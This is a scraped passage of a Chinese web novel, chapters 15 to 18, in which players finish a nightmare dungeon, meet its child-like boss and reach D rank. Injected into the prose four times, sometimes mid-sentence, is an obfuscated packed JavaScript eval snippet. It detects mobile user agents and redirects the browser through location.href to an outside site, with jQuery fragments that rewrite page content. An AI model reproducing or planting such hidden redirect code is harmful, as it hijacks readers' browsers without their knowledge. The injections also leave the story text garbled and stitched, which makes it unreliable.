;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099155|195685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 任自己进入下一次梦境。 这并不是她当初的思考,在倒计时的压迫下她没有办法剖析自己的动机。 她本能地安慰自己,是她不想害别人。 或者再悲观一点,是她希望自己就算是死,也是在“不愿连累无辜之人”的大义中死去,而不是在拉人下水的过程中弄巧成拙地被反杀。 但实际上,看到新规则的那一刻,她就无法再美化自己的意图了。 从头到尾,她的动机只有一个—— 她不想死。 所以她一直在等,想要等到能够让她活下来的规则,或者是,表明她必死无疑的宣判。 应凌心的眼神定格在眼前暗红色的一行行字上: 【一、请尽快逃离噩梦空间】 ... 【五、作为一个友善热情的邀请者,你需要从身后拥抱被邀请者】 ... 【九、噩梦中死亡即为真实死亡;噩梦空间中死亡后10秒,会在原地复活;在邀请她人时死亡则无法复活】 【十、当噩梦空间中有4位客人,满足▇▇的要求,即可全员顺利离开副本】 她一直在等待的最后一条规则更新了。 耳边响起系统的提示声:【新人副本提示:当前节点为本副本最后一节点】 【请玩家应凌心作出选择。】 【可选择玩家:商予盈】 看来张尚大概率被许束言拉了下去。 首先她不能把商予盈拉下来后自己留在外面。 先不说这行为多不当人,后面的人一定会再把她拉下来。 其实就算她什么都不选,许束言应该也会选择把商予盈拉下来...对吧? 应凌心回忆了一下许束言副本开始以来到现在,让人摸不清套路。 但以老玩家一个字秒杀鳄鱼怪的实力,应凌心觉得对方完全可以在副本快结束时把自己刀了。 对人家没有区别。 应凌心皱了皱眉,有区别的是她自己。 说实话,第十条规则依旧很含糊。 满足谁的要求,什么要求? 万一要求是让她们自杀,那不就白搭了? 或者让她证明黎曼猜想...就跟问答副本一样,有无数个她们达不到的要求。 但这是唯一的希望了。 对别人来说是风险,却是她唯一活下去的希望。 倒计时还有10秒。 “我选择邀请玩家...商予盈。” 对她来说是活下去的希望,对商予盈来说却是额外加在头上的风险。 她需要亲手把自己的朋友拉入丧命的风险中。 不行的话,我就卡在最后10秒自杀好了,应凌心安慰自己。 【玩家应凌心已完成选择。】 她感觉四周产生了一些微妙的变化。 周围黏稠的寂静开始慢慢消融,细微的声响钻入她的耳朵里。 砰、砰、砰... 熟悉的心跳声又一次响起。 应凌心警觉地微微抬起头,声音没有减轻。 这次不是从枕头里传来了——毕竟她也没有枕头。 砰、砰、砰... 应凌心又把头搭回了木板上,感受着脑后细微的震动。 “你需要从身后拥抱被邀请者”。 她想起规则第五条。 砰、砰、砰... 她明白了。 木板的振动越来越明显,和她的心跳声又一次错开了频率。 心跳是从上方传来的。 砰、砰、砰... 她在床里。 她在商予盈身下的床里! 15. 做个好梦(十) 副本第三天,晚上十点,商予盈最后一次躺到床上。 她有预感这次夜里会发生些什么——毕竟再不发生点什么这个副本就要过去了。 四周越来越寂静,老套地在黑暗中剥夺着人的听觉。 她努力地保持清醒,却不受控制地逐渐犯困。 当——当—— 熟悉的钟声让她惊醒,上一次听到这样接连的钟声还是在第一天夜里,那时有一只手勒着她的脖子想要把她拽下去。 砰砰...砰砰...砰砰... 商予盈眉头一皱。 听着有点像心跳声,但那不是她的心跳声。 砰砰砰...砰砰砰...砰砰砰... 速度还在加快,连带着她的心跳也开始加速。 她意识到,心跳来源于身下。 紧接着,身后的空间线猛然被拉开,她在下一刻感知到无数交错纵横着的空间线。 过量的空间信息猝不及防地涌入商予盈的大脑,她的后脑开始隐隐胀痛。 大得诡异的空间在她背后展开了。 之前她看到的那个不知通往何方的通道又一次开启。 一双手悄无声息地伸了上来,缓缓缠上她的脖子。 在她的左肩上方。 商予盈仔细地听着心跳声的来源,在她的左肩上方。 她利用空间线操控着匕首瞄准自己脖子左面,只等着下一步动作。 然而那双手却没有再动,只是静静地搭在她的脖子上。 在蓄力吗?商予盈想。 下一秒,那双手动了起来,却没有一点向下拉的意思——那双手的右手食指,像抽筋了一样,疯狂地敲打着她的喉咙。 ......? 什么意思? 商予盈喉咙被敲得有点难受,忍不住咽了口口水。 那双手停了下来。 紧接着,冰冷的食指又开始敲击,只是这次有了规律,敲击的间隔时长时短。 三长,三短,一长,五短。 然后又停了下来。 额。 “可是我记不住摩斯密码啊!” 脑海中浮现起高中时前桌抱怨的样子。 女孩转过身,头抵在座椅靠背上,察觉到自己的头发搭在了后桌的桌子上,不好意思地笑了笑,把它们拢到身后。 她兴奋地和她的朋友说:“我觉得摩斯密码这么设计大有深意!使用频率高的字母对应的密码长度都短,这样总共要发的信号就会减少很多。” “可是我记不住摩斯密码啊!”女孩挠了挠头,“就算现在记住了,回头也肯定会忘啊...咱们编个好记的。” “就把字母对应的数字敲出来好了,长间隔是5,短间隔是1。” “但这样怎么区分5接一个10跟15呢?”商予盈忍不住质疑。 女孩愣了一下,“那这样,每个字母前面加一个长音表示开始,如果是五的倍数就把最后一个长音改成5个短音。” 很低效的设计,但胜在好记。 比如现在,多少年后了,她还真记得这一茬。 13,5 商予盈在心里唱了一遍英文字母歌。 ME 我。 应凌心在说,是我。 背后伸出来的手顿了一会,又重新开始敲起来,生怕她数错了上一次的敲击,或者没意识到自己想传达的信息。 商予盈感觉脖子被敲得有点痒。 她操控着空间线去感知这双手。 每个手指的指尖都长着一层薄薄的茧,手掌连接手指的那一排肉上也是。 确实是应凌心的手。 商予盈操控着空间线,用匕首的木柄碰了碰还在一板一眼敲她脖子的手——可以了,别敲了。 那双手停了下来。 紧接着,慢吞吞地揪着她衣服的后脖领,小心翼翼地把她朝枕头里拽,动作迟缓又轻柔,生怕勒到她。 商予盈没有挣扎,任由应凌心把自己往下拉。 她睁开眼,想要看清自己的处境,却被四周稠密的空间线压得喘不过气。 慌乱间,她感觉到有人从背后接住了她,将她拥在怀里,在无边的黑暗中一同下坠。 一直到她的意识回笼,耳边响起朋友略带歉意的关心:“你现在感觉怎么样?” 商予盈睁开眼,发现自己坐在一个隔离开黑暗的白洁平台上。 平面光滑得有点发凉,她抬头去看头顶,看她坠落的源头。 望不到尽头的黑雾中是密密麻麻的空间线,她只是盯着看了两眼,后脑就跳动着表达疼痛。 黏稠的黑暗在平台外缓慢流淌着,不知有多少危险正在其中被酝酿。 这似乎是个危险的地方。 眼前站着之前失踪的玩家许束言和张尚,似乎早已预料到她会来到这里。 她的朋友把她拉到了这个看起来有些危险的地方。 她扭过头,和身后的人对上了视线。 “所以,现在是什么情况?” 商予盈问她。 . ------------------------------------------------------ 几个人交流了一下情报,商予盈读完副本发布的规则后,把自己之前收集的纸条给其余几人看。 “为什么我床上有这么多纸条...”应凌心喃喃自语着,忽然好像意识到了什么。 原来她最后一次做梦死了17次啊。 应凌心忍不住去偷瞄身旁的许束言,不愧是老玩家,只死了一次就通过了。 她不由自主地在心里默默估算着她得到什么实力才能赶上人家。 “所以,这些纸条到底是什么意思?我们又得完成什么要求?”张尚困惑地挠了挠头。 正说着,系统的提示声又一次响起: 【玩家剩余邀请数量计算中...】 【副本信息更新】 【▇▇看到客人们都到了,非常开心。她打算给客人们额外两次机会,如果第三次客人们还不能达到▇▇的要求,她会失望地离去。】 【▇▇准备给客人们一点适应时间。】 一个倒计时——又是倒计时——在平台上方浮现,从60分钟开始,一秒一秒向下递减。 应凌心觉得,多出来的额外两次机会,源自她们之中张尚和商予盈剩余的两次邀请别人的机会。 她甚至觉得,副本是故意把统计数量的这一步骤透露给她们的——这点计算量,哪怕再翻个几万倍,她们在地球的计算机都能在瞬息间完成。 如果她们中间有人出于各种原因浪费了邀请次数——应凌心设想了一下——现在只怕是要互相指责着开始内讧了。 几人讨论一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099156|195685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 番,既然说是“适应时间”,可能是之后会有场硬仗。 眼下分析不出太多有用的信息,不如休整一顿,等到 Boss 第一次来巡视时找到关于要求的线索——毕竟有三次机会。 众人达成共识后,原地坐下来休息。 商予盈走向应凌心:“你觉醒异能了?” 应凌心点点头,说起这个她可就高兴了:“要不然我估计死个百八十次都不一定能从最后那个梦里醒来。等回头跟你细讲!” 商予盈也跟着点了点头。 她一转身,沉默地向平台边缘走去。 应凌心:?姐们儿你这是要干啥? 商予盈从兜里掏出两根如出一辙的绳子,细到几乎看不见。 这是她之前白天闲着没事挖掘出来的新技能,将空间线凝实成现实中的线。 这个线没有任何空间特性,也没有任何特殊作用。 只有一根纤细的线,唯一的优点是坚固,商予盈自己用力地扯过,没扯断。 她又从兜里掏了半天,掏出来一颗一头尖锐一头圆润的石子,绑在其中一根线的一头。 应凌心走到她身边:...不是,你下副本带石头干什么? 商予盈手攥着另一头,把石子掷向黑雾中,看着它瞬间被黑暗吞灭。 她看了眼倒计时,席地坐在平台边缘,跟应凌心问起她副本的具体经历。 听应凌心讲到她被怪物分食了十几次,商予盈挑了挑眉,感叹:“原来精神力可以这么提高。” 应凌心:......就不能先心疼一下她吗?! 虽然她也觉得这种方法提升精神力挺高效——反正也死不了...但是真的很疼啊!! 她们继续聊着天,商予盈开始向回拉绳子。 拉了不知多长时间,千疮百孔的石子被拉回平台上。 大大小小的空洞和划痕遍布石子,破坏得它面目全非。 上面萦绕这浓郁的寒意,让应凌心忍不住脊背发凉。 紧接着,她对上了商予盈平静的眼神。 ...真的假的? 商予盈示意她看自己手里的绳子,放在手里冰冰凉凉的,但完好无损——用力地扯了很多下,没有扯断。 商予盈看了眼倒计时,从她把石子扔出去到现在,过了15分钟。 她挑了挑眉,看向应凌心:“十分钟?”——她是个保守的人。 . ------------------------------------------------------ 许束言觉得,她是真的搞不懂现在的小孩,真的搞不懂。 她只是跟张尚交流了一阵子副本,一扭头,就看到应凌心单膝跪在距离平台边缘三四步处,冲着黑雾发呆。 ...另一个小孩跑哪儿去了? 许束言有种不祥的预感。 “你在做什么?”走到跟前,她才注意到应凌心紧紧地攥着一根细线,还把它绑在了自己的手臂上。 “做保险绳。”应凌心感到命苦地回答。 ? “她呢,她在做什么?”许束言朝黑雾里看了看。 “额...”应凌心似乎在寻找一个合适的词汇,“弯道超车?” 张尚:?? 许束言:...... 没人告诉她现在的小孩会是疯子啊? 16. 做个好梦(完) 黑雾内,不知名的哀嚎和尖啸声此起彼伏地剐蹭着商予盈的耳朵。 商予盈觉得,如果半截出了什么意外,比如绳子断了,或者副本对噩梦空间的定义只局限在平台上,她可能会达成整个空间最匪夷所思的死法——在副本快要结束前作死身亡。 不过根据规则,她死了另外几人也能直接平安离开,对她们不会有什么影响。 就是估计应凌心那家伙要做半辈子的噩梦了,她有点坏心眼地想。 但这可是千载难逢的可以一直复活的机会,她不想错过。 商予盈在黑雾里死了十五次。 她只向里踏出了一步,想再回去却格外难。 她踏入黑雾后的第1.5秒,商予盈迎来了她的第一次死亡。 当她再恢复意识时,她已经躺倒在了地上。 1秒后,她死了第二次。 又一次醒来,这次是1秒半,她刚刚支起上半身,就又死了。 每一次死亡,都伴随着剧烈的疼痛。 刺骨的寒意争先恐后地钻入她的皮肤和骨髓,侵占她的大脑,模糊她的神志。 无数尖利的丝线撕裂着她,在顷刻间将她绞碎。 第七次死亡前的一瞬间,她意识到了。 眼前的黑雾凝聚着质密的空间线,阻碍着她的动作和感知,在每一瞬息毫不留情地切割着她。 凝实的空间中混杂着未知的危险物质,商予盈将感知触向周围的空间线,她的精神力在接触到的一瞬间毫无招架之力地耗尽。 太密了,商予盈模模糊糊地想着,这群线太密了,她甚至看不到哪里是线。 她不断尝试着用精神力去感知诡谲的线,一次次耗尽她的精神力,试图延长自己存活的时间。 终于,她靠着微弱的空间线的保护,得以在第15次死亡前的一瞬间调整自己的朝向。 “啪——!” 平台上一声巨响,一只伤痕累累的胳膊伸进了平台,手腕上绑着细绳的另一头,在反复摩擦下沾染着斑驳的血迹。 张尚赶忙上前要把商予盈拉进来,被应凌心阻止了。 “还没到10分钟呢。” 反正死不了。 10秒钟后,搭在平台上的手表面的伤痕快速愈合,下一秒,商予盈站了起来,踏进了平台。 她看起来身体状况并不是很好,全身每一个能看得到的部位都被密密麻麻的划痕覆盖,从内到外散发着寒气。 哪怕是现在只是在站立着,她看起来也耗尽了全部的力气。 “等下,精神力有点透支。” 商予盈说话的声音几不可闻,她缓缓地抬手,掌心覆上自己的太阳穴。 一股微弱的精神力波动,商予盈一头栽倒在了平台上。 她完成了一次自杀。 此时平台中心的倒计时,还剩32分钟。 . ------------------------------------------------------ 之后的半个小时,应凌心盘腿坐在平台中间,听商予盈讲她在黑雾里的经历。 许束言站在不远处,时不时回头看一眼两人。 不会是怕她也要作死吧,应凌心表示无奈,她已经死得够多了! 时间一点点流逝着,神秘 Boss 来视察的环节一点点逼近。 几个人都站了起来,看着倒计时剩下最后几秒,然后慢慢接近0。 【叮——!】 清脆的一声响,像是微波炉到时间时的播报,向它的主人昭示着食物准备好了。 板鞋踏在平台上的声音由远及近,在寂静的空间内回荡。 应凌心全身紧绷着,回忆着先前交流时每个人对自己异能的介绍,精神力流转在指尖,蓄势待发。 一个小女孩从黑雾中缓缓走出,看着一米二三的个子,白T恤外搭着深蓝色的牛仔背带裤。 两只麻花辫垂落在肩头,浓密的黑发中掺杂着几缕金发,随着走动一晃一晃。 再普通不过的邻家小妹妹扮相。 女孩愉悦的微笑和步伐却让每个人都紧张了起来。 磅礴的精神力从她身上逸散出来,凝实到像应凌心这样的初级玩家都能感受到平台内精神力的波动。 如果 Boss 想杀她,应凌心在心里掂量了一下,她估计在下一秒就会毙命。 女孩笑盈盈的眼睛正对上她的视线,应凌心的脊背在一瞬间绷紧。 “你死了18次。” 女孩掰着手指陈述着。 应凌心惊悚地发现,她动不了了。 不是被吓得动不了,而是客观上被定住,像是被收紧绳子的木偶,做不出任何动作。 “你死了2次。” 女孩看向许束言。 “你死了0次。” 女孩看着张尚,笑容越来越大,嘴角的弧度诡异得瘆人。 “咦?” 女孩走到商予盈跟前,愣了愣。 “你死了16次。” 应凌心听着女孩的报数,回忆起先前纸条上的提示,隐隐有了猜测。 女孩歪着头,陷入回忆。 “我死了...” "我死了23次。" 女孩的眼睛孕育着深不见底的黑色,没有任何波动地注视着她们。 应凌心的心提了起来。 “你们比我惨诶。” 女孩的语调突兀地欢快了起来。 “好吧,那你们走吧!” 在应凌心如雷的心跳声中,女孩爽快地说完,没什么留恋地穿过她们,又消失在了黑暗中。 应凌心松了口气,还好是加起来算,否则她们只怕是得争分夺秒地自杀了。 系统的声音紧接着响起: 【副本进程已被▇▇结束,恭喜玩家完成副本,出口将在10分钟后开启。】 ...... ...? 结束了? 就这? 就这??? 应凌心有点不敢相信。 虽然她们确实是误打误撞地完成了要求,但这跟她想象中的完全不一样啊! 她还以为刚才只是Boss的前摇而已,怎么就这样结束了?? 她原以为会有一场惊心动魄的 Boss战——虽然她完全没有打得过的可能性。 应凌心看向商予盈,对方看着也有点懵。 谁也没想到这个副本就这么稀里糊涂地过去了——除了许束言。 她扭头看向许束言,老玩家看起来没什么意外,仿佛早就料到了通关条件。 ...这姐不会是在装深沉吧? 应凌心凑上前去打探。 “前辈,系统通知副本通关后还有可能情况突变吗?比如Boss反悔之类的。” “首先你这不是通关,只是完成了副本。” 许束言纠正她,“不会的,系统说副本结束了那就是结束了。” “不过假如副本伪造系统的播报声就另当别论了。” 老玩家耸耸肩,看样子是真有无良副本这么坑害过玩家。 “噢噢,这样啊。” 应凌心有些迟疑,“所有副本都是这样子的吗?” “?” “就是...我原本以为情节副本会是有个非常明确的背景故事,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099157|195685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个引人深思的主题,还有一个精心动魄的 Boss战。” 无限流小说都是这么写的啊。 “......你还真挺爱看小说的。” “首先新人副本是为了让你熟悉异能,基本上把规则都喂到你嘴里了。甚至每个节点之间都会间隔很长,生怕你们不适应,将来可不会这样。” “你可以把它理解为...空间的可持续发展智慧。” 这话听着官里官气的。 “其次,就算一个副本有隐藏的故事或者深意,大概率也不会被挖掘出来。” “玩家的第一任务是从副本里活下去,对副本的探索度跟能不能存活没有必然的联系。” “好奇心是给有实力的人的。”老玩家冷酷地说。 “至于副本Boss...并不是所有Boss跟玩家都是对立的。” “和玩家对立的是副本,Boss只是它的监管者。” “当然,大部分Boss也不是善意的,甚至会有不少恶意Boss。” “不过从数量上看,大部分Boss都没有太多存在感——尤其是低阶副本。” “其余的你就需要自己探索了,最重要的一点是——” 应凌心竖起耳朵,聚精会神地等待着许束言的下文。 “副本怎么样取决于副本怎么样。” ? 明天下不下雨取决于明天下不下雨。 这总结性发言是不是有失格调啊喂... 应凌心在心里吐槽着,点了点头,认真地道了谢,毕竟前面的讲述还是相当有用的。 她偷瞄了一眼正在跟张尚提问的商予盈,很好,分头榨取老玩家的经验。 一道纯白色的通道随着系统倒计时的结束被铺在平台边缘,在黑暗的衬托下显得更加亮眼。 “就比如这个出口,很多副本在你完成的那一瞬间就会把你传送出去,不过也有像这个副本一样结束后有缓冲时间的。” 许束言低沉的声音在她耳边响起。 老玩家来下新人副本是有引导任务在身吗? 应凌心盯着女人看了好一阵,换来对方疑惑的目光。 “前辈。” “嗯?” 应凌心斟酌的提问在脑海中滚动着被修改了好几次。 到底还是问了出来:“你和楚老板认识吗?” “......” 女人意外地挑挑眉,“为什么这么问?” 看来真认识啊。 “你的耳坠,跟她院子里树上的木牌是同一种材质和配色的。” 应凌心指了指自己空荡荡的右耳垂,对应着许束言右耳的耳环。 其实更主要的原因是她猜测大佬一般都互相认识。 许束言摸了摸自己的耳坠,点了点头:“对,我认识她。” 没有再做更多的解释。 应凌心眨了眨眼。 她其实不太在乎许束言认不认识楚老板,但既然两个人真的认识,而且看起来有些交集... 她开始觉得自己的猜测不是空穴来风。 应凌心看了眼几步开外专注交谈的另外两人,向许束言走近了一步。 “前辈,我能再问你一个问题吗?” “问吧。” 也许是想问自己为什么接近她,许束言推测。 ...... “你认识我姐姐吗?” 女孩直直地看过来,平静的眼神中看不出什么疑问,也看不出什么情绪。 机警而冷静的眉眼和记忆中的友人如出一辙。 许束言听到自己友人的妹妹问她: “你认识应凌律吗?” 17. D级玩家 应凌心踏上系统辟出的副本出口,再恢复意识,发现自己正坐在住所房间内的床上。 她抬手看了眼时间——中午12点15分。 日期没变,还是她进入副本前的那个日子。 她在副本里待了3天,外面的时间只过去了15分钟。 时间流速真的能被控制,真神奇。 应凌心在想这样的时间流速比例是固定的吗? 她忽然想起来,最开始来到空间时加她好友的姐姐陈烟,好像从她进问答副本到现在都还在打副本。 那这是在里面待了多长时间... 总不能是在这15分钟里出来后又无缝衔接进去了吧... 可能副本跟副本之间不大一样。 应凌心决定谨记许束言的一席话——“副本怎么样取决于副本怎么样。” 手环叮叮当当地通知着系统的信息,她点开扫了一眼,没有什么紧急的东西。 事已至此,最重要的是——她得先睡一觉。 在副本里倒是睡过去了好几次,但都是在做噩梦,被副本折腾来折腾去。 她只觉得心力交瘁,急需倒头睡一觉让她充充电,消化一下意料之外的信息量。 . 这一睡,就是一下午。 等应凌心再次醒过来的时候,已经是傍晚了。 她又一次从门口拿进来不知道放了多久的午饭和晚饭,检查了下包装,一口气吃完了两顿的饭。 应凌律要是知道她这样不健康饮食,只怕是叫嚣着要跟妈妈打小报告。 应凌心想到这里,愣了愣。 她低头摆弄着被她掰开的一次性筷子,筷尾的断裂处冒着木丝,有些扎手。 被她刻意压下去的情绪又一次翻涌而出。 . 应凌心算不上喜欢自己的姐姐,但也不算讨厌。 应凌律比她大9岁,除了小时候互相掐架,姐姐挖苦她,她扭头告状以外,稍微再大点,两个人其实也没那么熟。 虽然应凌律出现在她以前生活的每一个角落,会在时不时的谈话中被提起,会在她小学迷路时牵着她带她去学校,会在她带牙套后夸张地打趣她“失去了狼性”。 但当她再大点时,应凌律就去外地读书了,一年也见不上几次。 她们两人的微信形同虚设,所有应凌律的近况她都是从妈妈口中听到的。 她猜对于应凌律来说也是这样。 只是不知从什么时候开始,她的生活再也没有应凌律的影子,她也没再想起过她。 好像这样一个活人的痕迹就这样自然而然地被抹去。 直到她在副本内觉醒异能,胀痛的大脑将先前被屏蔽的信息一股脑地倾倒出来,她才后知后觉地想起来,她的生命里有这样一个人。 忘得真轻易啊。 应凌心躺回床上,也不怕饭后直接躺下会伤胃,呆呆地想着。 她在副本时就猜测,是因为应凌律在之前也被拉进了这个莫名其妙空间,她才会忘了对方。 现在想想,那估计她也会被遗忘吧。 妈妈估计也会像忘了应凌律一样忘了她。 也好,这样也不用被“我要回去,不能让妈妈伤心”的执念钓着硬要活下去了。 应凌心想了想,能活就活,不能活就长眠,也挺好的。 就是她妈妈养她俩花的那一大堆钱能不能退回去? 应凌心被自己的思维逗笑了。 沉重的心情被缓解了一点——她不敢想应凌律现在的状况。 她之前就在想,像楚向庄那样有豪气房产的神秘大佬,为什么有耐心“诱惑”她? 就算她签了卖身契觉醒了异能,说不定没下两个副本就挂了,这天价债务谁去继承? 很可能她返回来的积分还没够上道具的成本价,她就已经丧命了。怎么看都是一个高风险的亏本买卖。 更别说“时间就是金钱”,那么多懵懂的新人,怎么偏偏就有功夫搭理她了? 许束言就更奇怪了。 商予盈被拉下来后,应凌心和她交流了一下在那之前的经历,想看看有没有被什么遗漏的线索。 副本是有唤醒机制的——那串连续的钟声会把沉睡中的玩家唤醒。 像许束言这样的玩家,怎么可能这么轻易地被拉下来? 结合她后面的行为,应凌心猜测她是故意下来的。 反正对实力玩家来说新人副本哪里都没太大危险。 但这样的老玩家,出现在新人副本的概率又是多少呢? 应凌心看过很多小说,这种被解释为幸运或是命运的“贵人相助”情节屡见不鲜,给人一种实际碰上了也没必要感到奇怪的错觉。 但这种小概率事件真要落在她头上,她只会觉得,这背后必有其它原因。 对于应凌心来说,运气是未知的因果。 她承受不起命运任何没有来由的馈赠。 . 她想起小时候,应凌律偶尔会带朋友来家里玩。 “这是我妹妹。”应凌律扬扬下巴,把她介绍给自己的朋友。 后来在路上碰到应凌律的朋友,对方也会热情地跟她打招呼,“妹妹,给你买辣条呀?” 万一呢? 万一她真的能打听到应凌律的下落呢? 抱着侥幸心理,她在副本内问许束言:“你认识应凌律吗?” 你也是我姐姐的朋友吗? 她也在这个空间里吗? 可是如果你也在的话,为什么不是你来找我? 为什么不在我觉醒不了异能头大的时候大手一挥说你有办法? 为什么不在我被怪物啃咬的时候突然出现,拽拽地说姐姐来救你了? 为什么,在我问起你时,你的朋友眼里满是无措和悲伤? 应凌心在那一刻忽然意识到,她不想知道答案。 她不想知道自己的姐姐怎么样了。 . ------------------------------------------------------ 应凌心发了好一会呆,才收拾好自己的心情。 她要干什么来着? 她在床上翻了个身,去查看之前系统发来的消息。 【恭喜玩家应凌心完成副本「做个好梦」】 【您获得了精神力的提升!】 哦,是有下副本会提高精神力这么一说。 她虚虚握了握自己的手,感觉变化不太明显,甚至还没她在副本里透支精神力死一次再醒来时感受到的变化大。 可能因为是E级副本,奖励比较微薄吧。 她继续往下看。 【获得积分:4000】 距离她第一次进到空间,已经七天了。 应凌心查看了一下她剩余的天数,距离下一次强制副本还有39天。 但实际上要比这个快一点。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099158|195685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她还剩 4500 积分,但在23天后,失去新人免费住所的她不得不需要另付房费。 算上每天的伙食费,估计每天得花240多积分了。 按照250算,还能撑8天。也就是说,为了活下去,她得在一个月之内再下一次副本。 如果她想攒一点下来,以备不时之需,就要更早下去了。 不对,应凌心皱皱眉。 除了食物,还有很多需要置办的东西。 方便耐穿的衣服、武器——就算没有热兵器至少也得带个刀、野外求生用的各种道具... 她重新看了眼日期,甚至卫生棉条也得另花积分去购买。 说到这个,应凌心在思考,来月经时下副本的话,副本里也会来月经吗? 毕竟之前商予盈有跟她说除非是剧情需要,不会在副本里感受到生理需求。 那还挺好的,不然总感觉有些副本怪物——比如丑陋的鳄鱼怪——闻着血腥味就又来了。 一想到把自己啃咬无数次的鳄鱼怪,应凌心感觉全身都在幻痛。 不知道睡眠会不会被影响,这次一直都在做清醒梦,但按照以前看小说的经验,总觉得晚上轮流守夜也是一大剧情点。 但无论如何,这真是个方便的设定,否则她下副本还得成天找食物找厕所,那更是难上加难了。 应凌心发散着思维,决定之后哪天约商予盈一起去淘点装备。 说起来,之前下副本前她也照着新人手册上说的想去【商城】买点装备,但转了半天也没找到。 去问了楚老板,对方只是说等她下一次情节副本后就知道了。 应凌心挠了挠头,接着往后看系统消息。 【恭喜玩家应凌心升为D级玩家!】 【D级玩家将解锁以下权限或地点:[商城]、[大厅]、[主街]】 嚯,说升级就升级。 应凌心看到应用上自己名字旁多出来了个“D”的小标识,但没有经验条之类的,也不知道什么时候能再升级。 如果把这个空间想成一个游戏,属实算不上什么成功的游戏。 什么东西都没有数值化,只能自己估摸着来。 升级后也只是冷酷地把新地名列出来,也没打算写几句介绍。 [商城]很好理解,买东西的地方。 [大厅]估计跟新人副本大厅类似,是官方进副本的地方。 [主街]...她一直以为她们最开始醒来的地方就是主街。 不过也是,之前那条街虽然来来往往的人很多,但街上没有太多重要的地方,只是一排饭店和服装店,跟普通的商业街没什么两样。 兴许主街会是更“有用”的街区。 应凌心对新地点好奇得有些心痒。 她翻开手环,看到商予盈的名字旁也多了个“D”的标。 要不说弯道超车管用呢? 张尚和许束言的好友申请弹了出来,不知道是怎么找到她的账号的。 应凌心通过了申请,去看她们的名字。 张尚名字旁也有个“D”的标识,也是D级玩家。 许束言的名字后面则是挂着一个“?”,看来她看不到比自己等级高的玩家等级。 许束言会是什么等级呢?B级?A级?最高是多少级? 应凌心神游着,给商予盈发了个消息:【明天要不要去那几个新地方看看?】 至于现在,她需要再多睡会。 18. 探索新地点 转过天来,终于睡醒的应凌心约着商予盈一道出了门。 她怀疑出了副本系统也不会帮她们恢复身体状况,睡了一晚,应凌心只觉得浑身酸痛。 如果不是已经跟商予盈约好了,她恨不得在床上再躺一天...或者两天...或者很多天。 她们现在的住所在最初进到空间时那条街道的西边,这回新开放出的三个地方又都在她们住所的西边。 原以为最开始的地方是热闹的中心,现在看来那里只是新人区——虽然有隐居的大佬。 她们看着地图,决定先去最近的[大厅]看看。 说是大厅,实则是一栋极其现代化的楼。 看着有五六层,最上面两层中空的结构被桥梁连接着,能够从外面看到有不少在来往的人。 “不是在家也能进副本吗,怎么这么多人跑到这里?”应凌心小声嘀咕。 等她们走近时,才发现里面不只有副本的入口。 一楼是组队大厅,有人吵嚷着报出自己的等级和擅长,想要临时找到面相不错的队友。 但更多的是早就组好队友的小团伙,在登记自己绑定的队友。 应凌心凑到登记处看了一眼:绑定费一人5000积分。 ...打扰了。 不过只能线下登记队友吗?听着有点麻烦啊。 应凌心低头鼓捣自己的手环,找到线上登记队友的入口:线上绑定每人额外收取1500积分。 ...... 无良空间,这也要赚是吧?! 二楼是各种副本的入口,没有无良到连进副本都要扣积分,也就没什么人特意跑到大厅进副本。 零零星星的几个人,站在斗兽场的入口,甚至还有人有心情和旁边的人闲聊着。 她们不怕等下进去后被分到同一场吗?应凌心无法理解这群人的松弛感源自哪里。 之前新人大厅最热闹的是问答副本入口,她找了半天,才在角落找到一个破旧的入口,如果不是上面写着“问答副本入口”的标识,她都要以为是厕所了。 果然,有经验的玩家都不愿意进入问答副本。 但反过来,一直进问答副本的人也进不到这里。 应凌心又张望了两圈,想去三楼看看,却被拦在了楼梯口。 【C级及以上玩家方可进入】 系统的警告声伴随着刺耳的噪音响起,她揉了揉脑袋,和商予盈对视了一眼,在心里记下了这个地方。 两个人出了大厅,跟着地图,又走到了商城。 说是商城,但商家只有系统一个。没有人吆喝,没有店员,只有明码标价的物品陈列在望不到边的货架上,供人自助购买。 